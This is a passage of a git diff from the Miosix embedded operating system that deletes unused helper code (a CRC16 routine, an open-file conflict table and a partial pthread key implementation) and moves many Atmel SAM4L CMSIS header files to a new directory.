times, pass the previous value. The value returned after the last call is - * the desired crc - * \param data a byte of the message - */ -static inline void crc16Update(unsigned short& crc, unsigned char data) -{ - unsigned short x=((crc>>8) ^ data) & 0xff; - x^=x>>4; - crc=(crc<<8) ^ (x<<12) ^ (x<<5) ^ x; -} - -unsigned short crc16(const void *message, unsigned int length) -{ - const unsigned char *m=reinterpret_cast(message); - unsigned short result=0xffff; - for(unsigned int i=0;i * - ***************************************************************************/ - -#include "conflict_table.h" - -namespace miosix { - -OpenState ConflictTable::isOpen(const char *filename) const -{ - //Despite using a hash table this is still slow because every time this - //function is called with a file not yet open (and the probability is high) - //the whole array is scanned. Fix it someday - int index=hash(filename); - for(int i=0;i=MAX_OPEN_FILES) index=0; - } - } - return NOT_OPEN; -} - -void ConflictTable::open(int fd, const char *filename, OpenState mode) -{ - int index=hash(filename); - for(int i=0;i=MAX_OPEN_FILES) index=0; - } - } -} - -void ConflictTable::close(int fd) -{ - -} - -unsigned int ConflictTable::hash(const char* filename) -{ - //Bernstein hash - unsigned int result=5381; - while(*filename!='\0') - { - result=33*result+*filename; - filename++; - } - return result % MAX_OPEN_FILES; -} - -} //namespace miosix diff --git a/miosix/_tools/unused/conflict_table.h b/miosix/_tools/unused/conflict_table.h deleted file mode 100644 index 2dd864c51..000000000 --- a/miosix/_tools/unused/conflict_table.h +++ /dev/null @@ -1,134 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008 2009 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef CONFLICT_TABLE_H -#define CONFLICT_TABLE_H - -#include "config/miosix_settings.h" - -namespace miosix { - -/** - * This class is used to keep information about open files. - * Given the file name, this class can tell if it is currently open for reading - * or writing. Also, for files opened for reading a reference count is kept - * because it is possible to open the same file more times. - * The goal of this class is to avoid opening the same file more than once if it - * is already opened for writing, a thing that can cause crashes and/or - * filesystem corruption. - * Wish I could use std::set to implement this... - */ -class ConflictTable -{ -public: - - /** - * A file is considered in one of these three states - */ - enum OpenState - { - NOT_OPEN, ///< File is not currently open - OPEN_READ,///< File is open for reading - OPEN_WRITE///< File is open for writing (or appending) - }; - - /** - * Given a file name, return its state - * \param filename the file name, including its path (if present) - * Note that if the path is absent a / is added to the file name because - * file.txt and /file.txt are the same file. - * \return the file state - */ - OpenState isOpen(const char *filename) const; - - /** - * Add a file to the conflict table. To be called when a file is opened. - * \param fd file descriptor, it is stored in the table and used to identify - * the file when closing it - * \param filename the file name, including its path (if present) - * Note that if the path is absent a / is added to the file name because - * file.txt and /file.txt are the same file. - * \param mode can be either OPEN_READ or OPEN_WRITE, NOT_OPEN is not allowed - */ - void open(int fd, const char *filename, OpenState mode); - - /** - * To be called when a file is closed. - * If the file is opened more times its reference count is decreased, - * otherwise it is removed from the conflict table. - * \param fd file descriptor of the file to remove. - */ - void close(int fd); - -private: - - /** - * Hash function - * \return index of table 0<= \result < MAX_OPEN_FILES - */ - static unsigned int hash(const char *filename); - - class TableEntry - { - /** - * Constructor, assign default values - */ - TableEntry() : write(false), refcount(0), fd(0), filename(0) {} - - /** - * \param filename file to check - * \return true if this TableEntry corresponds to filename - */ - bool isThisFile(const char *filename) - { - if(isEmpty()) return false; - if(!strcmp(filename,this->filename)) return true; - return false; - } - - /** - * \return true if this FileEntry is empty - */ - bool isEmpty() - { - return filename==0; - } - - bool write;///<\internal true if file open for writing - unsigned short refcount;///<\internal reference count - //This is where there is the problem: we need to store a vector of fd otherwise - //there's no way to delete them... - int fd;///<\internal file descriptor - const char *filename;///<\internal file name + path, NULL if empty - }; - - TableEntry fileData[MAX_OPEN_FILES]; -}; - -} //namespace miosix - -#endif // CONFLICT_TABLE_H diff --git a/miosix/_tools/unused/pthread_key.cpp b/miosix/_tools/unused/pthread_key.cpp deleted file mode 100644 index 26182d7ab..000000000 --- a/miosix/_tools/unused/pthread_key.cpp +++ /dev/null @@ -1,123 +0,0 @@ - -// -// Key API (thread local storage) -// - -struct KeyEntries -{ - void *key; - miosix::Thread *owner; - KeyEntries *next; -}; - -struct KeyTable -{ - KeyEntries *entries[4]; - void (*dtor[4])(void *); - unsigned char used; ///First 4 bits used as bitmap - KeyTable *next; ///For more than 4 keys, linked list -}; - -static KeyTable *root=0; -static pthread_mutex_t keyMutex=PTHREAD_MUTEX_INITIALIZER; - -int pthread_key_create(pthread_key_t *key, void (*dtor)(void *)) -{ - pthread_mutex_lock(&keyMutex); - if(root==0) - { - root=(KeyTable*)malloc(sizeof(KeyTable)); - if(root==0) - { - pthread_mutex_unlock(&keyMutex); - return EAGAIN; - } - root->used=1; - root->entries[0]=0; - root->dtor[0]=dtor; - *key=1; - pthread_mutex_unlock(&keyMutex); - return 0; - } - - unsigned int id=1; - KeyTable *walk=root; - for(;;) - { - if(walk->used!=0xf) - { - for(int i=0;i<4;i++,id++) - { - if(walk->used & (1<used |= 1<entries[i]=0; - walk->dtor[i]=dtor; - *key=id; - pthread_mutex_unlock(&keyMutex); - return 0; - } - } else id+=4; - - if(walk->next==0) - { - walk->next=(KeyTable*)malloc(sizeof(KeyTable)); - if(walk->next==0) - { - pthread_mutex_unlock(&keyMutex); - return EAGAIN; - } - walk->next->used=1; - walk->next->entries[0]=0; - walk->next->dtor[0]=dtor; - *key=id; - pthread_mutex_unlock(&keyMutex); - return 0; - } - - walk=walk->next; - } -} - -int pthread_setspecific(pthread_key_t key, const void *value) -{ - if(key==0) return EINVAL; - key--; - pthread_mutex_lock(&keyMutex); - if(root==0) - { - pthread_mutex_unlock(&keyMutex); - return EINVAL; - } - KeyTable *walk=root; - while(key>=4) - { - key-=4; - if(walk->next==0) - { - pthread_mutex_unlock(&keyMutex); - return EINVAL; - } - walk=walk->next; - } - - if((walk->used & (1<entries[key]; - - //TODO - - pthread_mutex_unlock(&keyMutex); -} - -void *pthread_getspecific(pthread_key_t key) -{ - -} - -int pthread_key_delete(pthread_key_t key) -{ - -} diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_abdacb.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_abdacb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_abdacb.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_abdacb.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_acifc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_acifc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_acifc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_acifc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_adcife.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_adcife.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_adcife.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_adcife.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_aesa.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_aesa.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_aesa.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_aesa.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_ast.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_ast.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_ast.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_ast.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_bpm.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_bpm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_bpm.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_bpm.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_bscif.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_bscif.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_bscif.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_bscif.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_catb.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_catb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_catb.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_catb.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_chipid.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_chipid.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_chipid.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_chipid.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_crccu.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_crccu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_crccu.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_crccu.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_dacc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_dacc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_dacc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_dacc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_eic.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_eic.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_eic.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_eic.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_flashcalw.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_flashcalw.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_flashcalw.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_flashcalw.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_freqm.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_freqm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_freqm.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_freqm.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_gloc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_gloc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_gloc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_gloc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_gpio.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_gpio.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_gpio.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_gpio.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_hcache.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_hcache.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_hcache.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_hcache.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_hmatrixb.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_hmatrixb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_hmatrixb.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_hmatrixb.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_iisc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_iisc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_iisc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_iisc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_lcdca.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_lcdca.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_lcdca.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_lcdca.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_parc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_parc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_parc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_parc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_pdca.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_pdca.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_pdca.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_pdca.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_pevc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_pevc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_pevc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_pevc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_picouart.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_picouart.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_picouart.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_picouart.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_pm.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_pm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_pm.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_pm.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_scif.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_scif.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_scif.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_scif.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_smap.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_smap.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_smap.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_smap.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_spi.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_spi.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_spi.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_spi.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_tc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_tc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_tc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_tc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_trng.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_trng.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_trng.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_trng.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_twim.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_twim.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_twim.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_twim.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_twis.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_twis.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_twis.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_twis.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_usart.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_usart.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_usart.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_usart.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_usbc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_usbc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_usbc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_usbc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_wdt.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_wdt.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/component/component_wdt.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/component/component_wdt.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_abdacb.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_abdacb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_abdacb.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_abdacb.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_acifc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_acifc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_acifc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_acifc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_adcife.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_adcife.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_adcife.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_adcife.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_aesa.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_aesa.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_aesa.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_aesa.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_ast.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_ast.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_ast.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_ast.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_bpm.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_bpm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_bpm.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_bpm.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_bscif.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_bscif.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_bscif.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_bscif.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_catb.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_catb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_catb.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_catb.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_chipid.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_chipid.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_chipid.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_chipid.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_crccu.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_crccu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_crccu.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_crccu.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_dacc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_dacc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_dacc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_dacc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_eic.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_eic.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_eic.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_eic.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_freqm.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_freqm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_freqm.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_freqm.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_gloc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_gloc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_gloc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_gloc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_gpio.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_gpio.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_gpio.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_gpio.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_hcache.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_hcache.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_hcache.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_hcache.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_hflashc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_hflashc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_hflashc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_hflashc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_hmatrix.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_hmatrix.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_hmatrix.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_hmatrix.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_iisc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_iisc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_iisc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_iisc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_lcdca.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_lcdca.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_lcdca.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_lcdca.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_parc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_parc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_parc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_parc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_pdca.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_pdca.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_pdca.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_pdca.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_pevc.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_pevc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_pevc.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_pevc.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_picouart.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_picouart.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_picouart.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_picouart.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_pm.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_pm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_pm.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_pm.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_scif.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_scif.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_scif.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_scif.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_smap.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_smap.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_smap.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_smap.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_spi.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_spi.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_spi.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_spi.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc0.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc0.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc0.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc0.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc1.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc1.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc1.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_tc1.h diff --git a/miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_trng.h b/miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_trng.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/Atmel/sam4l/include/instance/instance_trng.h rename to miosix/arch/CMSIS/Device/Atmel/sam4l/include/instance/instance_trng.h diff --git 